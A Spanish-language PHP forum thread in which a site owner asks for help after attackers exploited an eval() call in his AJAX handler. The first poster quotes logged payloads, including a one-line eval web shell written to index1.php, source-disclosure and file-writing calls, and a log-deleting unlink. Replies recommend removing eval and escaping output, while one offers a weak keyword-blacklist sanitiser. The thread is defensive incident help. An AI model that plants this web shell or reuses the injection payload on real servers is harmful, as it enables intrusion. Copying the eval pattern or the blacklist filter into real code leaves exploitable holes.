Foros del Web » Programando para Internet » PHP »

Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

Estas en el tema de Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!! en el foro de PHP en Foros del Web. Tengo el siguiente problema me estan haciendo una inyecion y la unica forma q se me ocurre es a traves de: @import url("http://static.forosdelweb.com/clientscript/vbulletin_css/geshi.css"); Código PHP: ...
  #1 (permalink)  
Antiguo 02/03/2011, 12:10
Avatar de CuriositO  
Fecha de Ingreso: febrero-2011
Ubicación: Habana
Mensajes: 9
Antigüedad: 13 años, 8 meses
Puntos: 0
Exclamación Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

Tengo el siguiente problema me estan haciendo una inyecion y la unica forma q se me ocurre es a traves de:

Código PHP:
Ver original
  1. <?php
  2.         $pr="arme_";
  3.         $_us="{$pr}users";
  4.         $_ol="{$pr}online";
  5.         $_fi="{$pr}files";
  6.         $_st="{$pr}estad";
  7.         session_start();
  8.         foreach( $_POST as $data => $valor ){
  9.        $_POST [ $data ] = str_replace ( "'" , "\'" , $_POST [ $data ]);
  10.        }
  11.        foreach( $_POST as $data => $valor ){
  12.        $_POST [ $data ] = str_replace ( "$" , "\'" , $_POST [ $data ]);
  13.        }
  14.         $data=$_POST['data'];
  15.         $fn=array('ping','initialize','login','themess','exitapp','changeattr','changesas','adminact','delfile','sendfile','aprobfile','nopriv','endsession','changeprof','changemydata','writeon','newlnk');
  16.         $ul=$_SESSION['ul'];
  17.         $ret='';
  18.         $prs=split("\|",$data);
  19.        
  20.         error_reporting(0);
  21.        
  22.  
  23.  
  24.         $connected = mysql_connect("xxx","root","xxx");
  25.         $db = mysql_select_db("xxx");
  26.  
  27.        
  28.         foreach($prs as $pr){parse_str($pr); // $i= id enviado
  29.             if (in_array($a,$fn)){ // si es una funcion valida
  30.             if ($i>$ul || $i==0){ // si no fue evaluada anteriormente u obligatoria
  31.                 eval($a.'($pr);'); //echo "alert('aaa=$i');";
  32.                 if ($i!=0) $ul=$i; // solo las no eval
  33.             }} else {
  34.                 $ret.="unkw('$a');\r\n";
  35.             }
  36.         } $_SESSION['ul']=$ul;
  37.        
  38. ////////////////////////////////////////////////////////////////////////////////
  39.     if (!isset($_POST['svr'])) $_POST['svr']=0;
  40.     /*if (isset($_SESSION['me'])) ping($_POST['svr']); else {
  41.         $ret.="force_disconect();\r\n";
  42.    
  43.     }*/
  44.     $ret="revived($ul);\r\n".$ret;
  45.     //$ret.="alert('".strlen($ret)."');\r\n";
  46.     echo "$ret";
  47.     mysql_close($connected);

Y gracias a un script he podido detectar q me han inyectado lo siguiente:

IP: xxx
Method: POST
Value: echo file_get_contents(getenv(\'SCRIPT_FILENAME\'));
Script:
Time: Tuesday 01st 2011f March 2011 12:45:37 PM
==================================
IP: xxx
Method: POST
Value: <? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 12:45:37 PM
==================================
IP: xxx
Method: POST
Value: echo file_get_contents(getenv(SCRIPT_FILENAME));
Script:
Time: Tuesday 01st 2011f March 2011 12:46:50 PM
==================================
IP: xxx
Method: POST
Value: file_put_contents($z1,$z2);
Script:
Time: Tuesday 01st 2011f March 2011 12:50:43 PM
==================================
IP: xxx
Method: POST
Value: a=eval($et);//&fn[]=eval($et);//&et=aaaass&z1=index1.php&z2=<? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 01:10:31 PM

Por favor necesito ayuda. Alguna sugerencia de como evitar la inyeccion.
Agradecido de antemano. Al parecer utliza mis eval para inyectar el codigo, como puedo evaluar?, estuve probando varias funciones pero que ninguna resultó totalmente efectiva.
  #2 (permalink)  
Antiguo 02/03/2011, 13:28
 
Fecha de Ingreso: febrero-2011
Mensajes: 5
Antigüedad: 13 años, 9 meses
Puntos: 0
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

Esto te puede servir : http://www.tufuncion.com/php_seguridad_I

A mi me sirvió un montón ;).

Saludos :)
  #3 (permalink)  
Antiguo 02/03/2011, 14:11
 
Fecha de Ingreso: enero-2011
Ubicación: DF
Mensajes: 898
Antigüedad: 13 años, 9 meses
Puntos: 155
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

te impacta desmasiado si quitaras el eval?
  #4 (permalink)  
Antiguo 02/03/2011, 15:08
Avatar de CuriositO  
Fecha de Ingreso: febrero-2011
Ubicación: Habana
Mensajes: 9
Antigüedad: 13 años, 8 meses
Puntos: 0
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

si quitara el eval, voy a probar pero me imagino que no funcione el resto del codigo, donde llama a las funciones por array que la peticion la hace el js, que forma tendría de validar mi php o mi servidor para que no funcione de forma externa probé con

Código PHP:
Ver original
  1. if(!strstr($_SERVER['HTTP_REFERER'],"miweb.com"))
  2. header("location: index.html");

pero no funcionó, le pusieron a la inyeccion una variable con el nombe http_referer porque mi php precesó todo lo que ellos enviaron, y lo que tengo dudas es si utilizar mi eval para ejecutar su codigo, o alguna otra variable que les permitió crearme archivos dentro del hosting archivos con contenidos por ejemplo:

este es el codigo de index1.php

Código PHP:
Ver original
  1. <? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>

tambien subieron este otro con el nombre de max1.php

Código PHP:
Ver original
  1. <?php $d = dir('prueba/');  while (false !== ($entry = $d->read())) {   $c++; } $d->close();  echo $c;  ?>

y este otro que no entendí mucho para que es

Código PHP:
Ver original
  1. <?php   for ($x=0; $x<=4999; $x++){$a='';   for ($t=0; $t<32;++$t){$a.=chr(rand(97,122));}      $fh=fopen("../$a","w");fwrite($fh,"crack by zorro");fclose($fh);}   $z=file_get_contents('http://miweb.com/mi.php'); ?>

o sea que tubieron acceso total, proque al ellos subir esta funcion eval tenía el control total de hosting podia borrar cambiar todo lo que quisiera atravez de codigo php... alguna sugerencia de que hacer o que validar, necesitan el codigo completo del php?
  #5 (permalink)  
Antiguo 02/03/2011, 15:22
Avatar de CuriositO  
Fecha de Ingreso: febrero-2011
Ubicación: Habana
Mensajes: 9
Antigüedad: 13 años, 8 meses
Puntos: 0
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

estuve revisando el poco codigo del filtro que puse para saber que hacían o que mejor dicho que era lo que enviaban por post a mi php, porque el hosting no me sabía decir de que forma llegaban estos archivos a mi server y puse un script que se encargara de esto y pude econtrar lo que les dije antes y tambien pude ver esto otro ahora

Código PHP:
Ver original
  1. a=eval($et);//&fn[]=eval($et);//&et=echo unlink(\'webfilter.txt\');&z1=index1.php&z2=<? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
  2. Script:

Código PHP:
Ver original
  1. echo unlink(\'webfilter.txt\');

webfilter.txt es el archivo que me generaba los log de lo que hacía que al parecer lo borró para que yo no pudiera encontrarlo, por suerte había hecho una salva y pude verlo.

IP: ipdelatacante
Method: POST
Value: file_put_contents($z1,$z2);
Script:
Time: Tuesday 01st 2011f March 2011 12:50:43 PM
==================================
IP: ipdelatacante
Method: POST
Value: <? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 12:50:43 PM
  #6 (permalink)  
Antiguo 02/03/2011, 15:35
Avatar de abimaelrc
Colaborador
 
Fecha de Ingreso: mayo-2009
Ubicación: En el planeta de Puerto Rico
Mensajes: 14.734
Antigüedad: 15 años, 5 meses
Puntos: 1517
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

No debes tener el eval, es un gran riesgo en seguridad usarlo. Trata de arreglar el código para que funcione sin esa función y para verificar lo que te envian a través del formulario, mira esta función para evitar si no es todo, la mayoría de inyecciones XSS http://www.forosdelweb.com/3497564-post2.html
__________________
Verifica antes de preguntar.
Los verdaderos amigos se hieren con la verdad, para no perderlos con la mentira. - Eugenio Maria de Hostos
  #7 (permalink)  
Antiguo 02/03/2011, 15:48
Avatar de CuriositO  
Fecha de Ingreso: febrero-2011
Ubicación: Habana
Mensajes: 9
Antigüedad: 13 años, 8 meses
Puntos: 0
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

ya probé quitando el eval, sustituyendolo por un echo pero imposible no se me ejecuta nada no me funciona el codigo, que más podría utilizar en este caso?, porque en el codigo que les puse arriba al principio le siguen las funciones que son las que estan dentro de array.. que otra solución ven?
  #8 (permalink)  
Antiguo 02/03/2011, 17:28
 
Fecha de Ingreso: enero-2011
Ubicación: DF
Mensajes: 898
Antigüedad: 13 años, 9 meses
Puntos: 155
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

no hay, mas segun tu mismo script se ve que fue leyendo vulnerabilidades hasta hacerse el de una copia de tu programa por lo cual ya vio esta linea


Código PHP:
 eval($a.'($pr);'); 
y su ultimo post segun tu script

Código PHP:
a=eval($et); 
osea ya mete lo que quiere en esa variable, ya programas enteros si quiere , la solucion es ir haciendo lo que lo que hace esa linea de otra forma , entonces que hace esa linea? o que esperas que haga?
  #9 (permalink)  
Antiguo 02/03/2011, 22:04
Avatar de s00rk  
Fecha de Ingreso: octubre-2010
Ubicación: Mexico
Mensajes: 238
Antigüedad: 14 años
Puntos: 48
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

Has algo tan sencillo como esto

con una simple funcion, yo asi lo hago y nunca he obtenido alguna injeccion

Código PHP:
Ver original
  1. <?
  2.        function clean($value)
  3.        {
  4.             $check = $value;
  5.             $value = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$value);
  6.             $value = trim($value);
  7.             $value = strip_tags($value);
  8.             $value = addslashes($value);
  9.             $value = str_replace("'", "''", $value);
  10.  
  11.             if( $check != $value )
  12.             {
  13.                 $logf = fopen("logs/injection.txt", "a+");
  14.                 fprintf($logf, "Fecha: %s IP: %s Valor: %s, Corregido: %s\r\n", date("d-m-Y h:i:s A"), $_SERVER['REMOTE_ADDR'], $check, $value );
  15.                 fclose($logf);
  16.                 alertbox("Que intentas hacer? (: , Mejor mira esto xD", "http://www.google.com/");
  17.             }
  18.  
  19.             return( $value );
  20. }
  21.  
  22. if(!function_exists("alertbox")){
  23. function alertbox($text, $url)
  24. {
  25.     echo "<body  bgcolor='#000000'><script>alert('$text');document.location = '$url'</script></body>";
  26.     die("Javascript disabled");
  27. } }
  28.  
  29. ?>

Y ya solamente lo utilizamos en tu for, con uno solo bastaria y no tendrias que usarlo dos veces

Código PHP:
Ver original
  1. #
  2. foreach( $_POST as $data => $valor ){
  3.        $_POST [ $data ] = clean($_POST[$data]);
  4.        }

Espero te sirva n_n
  #10 (permalink)  
Antiguo 03/03/2011, 06:39
Avatar de DeeR  
Fecha de Ingreso: diciembre-2003
Ubicación: Santiago
Mensajes: 520
Antigüedad: 20 años, 11 meses
Puntos: 17
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

Te aconsejo los siguientes puntos

1.- Para evitar XSS, trate de codificar a entedidades html (utilizando htmlentities por ejemplo) todas las variables que vas a imprimir en tu vista o utilizar algún sistema de emplantillado como flexy
2.- Para evitar inyecciones SQL, te recomiendo desactivar magic quotes y siempre escarpar las comillas simples según el motor de db (en postgresql,mysql,etc. puedes utilizar un \ para escarpar una comilla ', en sql server, firebird,etc .. utiliza una comilla para escarpar una comilla
3.- Simplemente no uses eval, ya que existe un alto riesgo de que te inyecten cualquier código php, inclusive si son capaces de inyectar comillas inversas a un eval, ya son capaces de ejecutar comandos en el servdir (Execution Operators)

Saludos.
  #11 (permalink)  
Antiguo 15/06/2011, 12:59
Avatar de CuriositO  
Fecha de Ingreso: febrero-2011
Ubicación: Habana
Mensajes: 9
Antigüedad: 13 años, 8 meses
Puntos: 0
Respuesta: Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

graciaa a todos la solucion era desaparecer el eval(); y pues todo bien gracias a todos los que me ayudaron

Etiquetas: eval(), extract, file_get_contents, inyección, seguridad, xss
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 23:26.